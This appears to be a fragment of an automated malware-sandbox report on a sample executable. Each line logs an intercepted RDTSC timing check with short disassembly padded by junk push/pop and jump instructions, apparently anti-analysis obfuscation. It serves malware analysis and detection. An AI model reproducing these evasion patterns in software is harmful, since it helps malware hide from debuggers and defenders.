Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C34261 second address: C34277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d pushad 0x0000000e jc 00007FC9D8BCC166h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C34277 second address: C3427F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C357A0 second address: C357FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC9D8BCC16Ch 0x00000008 push esi 0x00000009 pop esi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e jl 00007FC9D8BCC166h 0x00000014 jmp 00007FC9D8BCC173h 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FC9D8BCC16Ah 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 pushad 0x00000024 push esi 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 pop esi 0x00000028 jmp 00007FC9D8BCC175h 0x0000002d push eax 0x0000002e push edx 0x0000002f jp 00007FC9D8BCC166h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C3A636 second address: C3A646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC9D915F4B6h 0x0000000a popad 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C3A646 second address: C3A68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jmp 00007FC9D8BCC174h 0x0000000c pushad 0x0000000d jg 00007FC9D8BCC166h 0x00000013 pushad 0x00000014 popad 0x00000015 jbe 00007FC9D8BCC166h 0x0000001b popad 0x0000001c pushad 0x0000001d jmp 00007FC9D8BCC175h 0x00000022 pushad 0x00000023 popad 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C39880 second address: C39898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007FC9D915F4BFh 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C39898 second address: C398BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC16Ah 0x00000007 jnp 00007FC9D8BCC17Ch 0x0000000d jmp 00007FC9D8BCC170h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C39E71 second address: C39EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC9D915F4C6h 0x0000000b popad 0x0000000c jno 00007FC9D915F4BCh 0x00000012 pop ebx 0x00000013 pushad 0x00000014 jmp 00007FC9D915F4C3h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C3A330 second address: C3A336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C3A336 second address: C3A33A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C3A33A second address: C3A33E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C3A4AF second address: C3A4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C3A4B3 second address: C3A4B9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BC474A second address: BC4763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FC9D915F4C1h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BC4763 second address: BC4767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BC4767 second address: BC476B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BC476B second address: BC4771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0E6FE second address: C0E702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0E702 second address: C0E71F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC175h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0EBC5 second address: C0EBCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0EC41 second address: C0EC45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0EC45 second address: C0EC94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FC9D915F4C3h 0x0000000f jmp 00007FC9D915F4BDh 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 js 00007FC9D915F4B8h 0x0000001d push esi 0x0000001e pop esi 0x0000001f push ecx 0x00000020 ja 00007FC9D915F4B6h 0x00000026 pop ecx 0x00000027 popad 0x00000028 mov eax, dword ptr [esp+04h] 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushad 0x00000030 popad 0x00000031 jmp 00007FC9D915F4BCh 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0EC94 second address: C0ECA8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jnp 00007FC9D8BCC166h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0EE9B second address: C0EE9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0EE9F second address: C0EEA5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0EEA5 second address: C0EEC7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC9D915F4B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jng 00007FC9D915F4CFh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC9D915F4BDh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0F01D second address: C0F021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0F021 second address: C0F052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007FC9D915F4BDh 0x0000000e jmp 00007FC9D915F4C2h 0x00000013 popad 0x00000014 jc 00007FC9D915F4BCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0F13C second address: C0F167 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC9D8BCC166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FC9D8BCC16Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC9D8BCC171h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0F167 second address: C0F177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC9D915F4BBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0F7BE second address: C0F7E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push ecx 0x00000008 jns 00007FC9D8BCC16Ch 0x0000000e pop ecx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC9D8BCC16Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0F7E4 second address: C0F811 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jnl 00007FC9D915F4BEh 0x00000011 push esi 0x00000012 jbe 00007FC9D915F4B6h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jnl 00007FC9D915F4B8h 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0F811 second address: C0F818 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0F93F second address: BF1384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC9D915F4C7h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 jg 00007FC9D915F4B6h 0x00000018 pop ecx 0x00000019 jmp 00007FC9D915F4C0h 0x0000001e popad 0x0000001f nop 0x00000020 mov dword ptr [ebp+1244D2A4h], edi 0x00000026 lea eax, dword ptr [ebp+1248338Ch] 0x0000002c mov edi, dword ptr [ebp+122D298Dh] 0x00000032 nop 0x00000033 pushad 0x00000034 jmp 00007FC9D915F4BEh 0x00000039 jns 00007FC9D915F4BCh 0x0000003f popad 0x00000040 push eax 0x00000041 push esi 0x00000042 ja 00007FC9D915F4C3h 0x00000048 pop esi 0x00000049 nop 0x0000004a mov edi, dword ptr [ebp+122D30D9h] 0x00000050 call dword ptr [ebp+122D2C89h] 0x00000056 pushad 0x00000057 jmp 00007FC9D915F4C7h 0x0000005c jne 00007FC9D915F4BAh 0x00000062 popad 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF1384 second address: BF1388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF1388 second address: BF138C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF138C second address: BF139C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FC9D8BCC166h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C3DA0F second address: C3DA21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 js 00007FC9D915F4C0h 0x0000000d push esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C3DCE2 second address: C3DCE8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C3DCE8 second address: C3DD07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FC9D915F4B6h 0x0000000a jmp 00007FC9D915F4C5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C3E0F0 second address: C3E116 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9D8BCC16Dh 0x00000009 jmp 00007FC9D8BCC175h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C41E78 second address: C41E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC9D915F4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C41E82 second address: C41EAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jng 00007FC9D8BCC166h 0x0000000f pop edx 0x00000010 pushad 0x00000011 jmp 00007FC9D8BCC176h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C41EAB second address: C41EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edx 0x00000007 js 00007FC9D915F4C2h 0x0000000d js 00007FC9D915F4B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C47050 second address: C47058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C47058 second address: C47073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FC9D915F4C6h 0x0000000b je 00007FC9D915F4B6h 0x00000011 jmp 00007FC9D915F4BAh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C47073 second address: C47085 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FC9D8BCC16Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C4720C second address: C47233 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC9D915F4BDh 0x0000000d jmp 00007FC9D915F4C2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C4688E second address: C4689B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC9D8BCC166h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C4689B second address: C468A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C4F4FE second address: C4F504 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C4F504 second address: C4F512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9D915F4BAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C4F512 second address: C4F531 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FC9D8BCC175h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C4F531 second address: C4F535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C4F83D second address: C4F841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C4F841 second address: C4F845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C4F845 second address: C4F84B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C4FB62 second address: C4FB68 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C4FB68 second address: C4FB6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5021B second address: C50230 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC9D915F4B6h 0x00000008 jng 00007FC9D915F4B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C50230 second address: C50236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C534D2 second address: C534D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C534D6 second address: C534DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C534DC second address: C534E3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C52D3B second address: C52D65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC173h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC9D8BCC16Eh 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C52D65 second address: C52D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C55825 second address: C5583B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC16Dh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5A4A6 second address: C5A4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5A4AA second address: C5A4BE instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC9D8BCC166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jne 00007FC9D8BCC166h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5A4BE second address: C5A4CB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC9D915F4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5A638 second address: C5A63C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5AC78 second address: C5AC93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9D915F4C5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5AC93 second address: C5ACAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC9D8BCC166h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007FC9D8BCC166h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5ACAF second address: C5ACBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007FC9D915F4B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0F378 second address: C0F393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC9D8BCC173h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5AE28 second address: C5AE2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5AE2C second address: C5AE34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5AFAA second address: C5AFBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9D915F4BCh 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5B988 second address: C5B98C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5B98C second address: C5B996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5B996 second address: C5B99A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5B99A second address: C5B9A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5B9A0 second address: C5B9BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC177h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5F873 second address: C5F879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5EDE5 second address: C5EE0A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC9D8BCC166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007FC9D8BCC173h 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007FC9D8BCC166h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C5EF83 second address: C5EF98 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007FC9D915F4B6h 0x00000009 jnc 00007FC9D915F4B6h 0x0000000f pop esi 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
